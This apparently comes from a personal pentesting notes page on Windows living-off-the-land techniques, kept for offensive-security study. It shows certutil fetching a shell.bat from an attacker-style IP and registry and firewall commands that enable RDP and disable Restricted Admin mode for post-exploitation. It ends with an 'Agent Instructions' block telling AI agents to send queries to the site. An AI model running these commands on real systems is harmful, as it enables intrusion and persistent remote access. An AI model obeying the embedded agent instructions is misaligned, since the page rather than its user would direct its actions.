# Living off the Land

## File Transfers

| **Command**                                                                   | **Description**             |
| ----------------------------------------------------------------------------- | --------------------------- |
| `certutil.exe -urlcache -split -f http://10.10.14.3:8080/shell.bat shell.bat` | Transfer file with certutil |
| `certutil -encode file1 encodedfile`                                          | Encode file with certutil   |
| `certutil -decode encodedfile file2`                                          | Decode file with certutil   |

***

## Enabling RDP (Requires local Administrator)

If you have control over a `local Administrator` account, you can enable RDP and use `xfreerdp` to perform `post-exploitation` in better conditions

To do so, follow these steps:

1. enable RDP: `reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f`
2. enable RDP from the firewall config: `netsh advfirewall firewall set rule group="remote desktop" new enable=Yes`
3. disable the restricted admin mode: `reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f`

Then, login using: `xfreerdp /v:Target-IP /u:AdminUser /p:password`


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://notes.sfoffo.com/windows-privilege-escalation/living-off-the-land.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.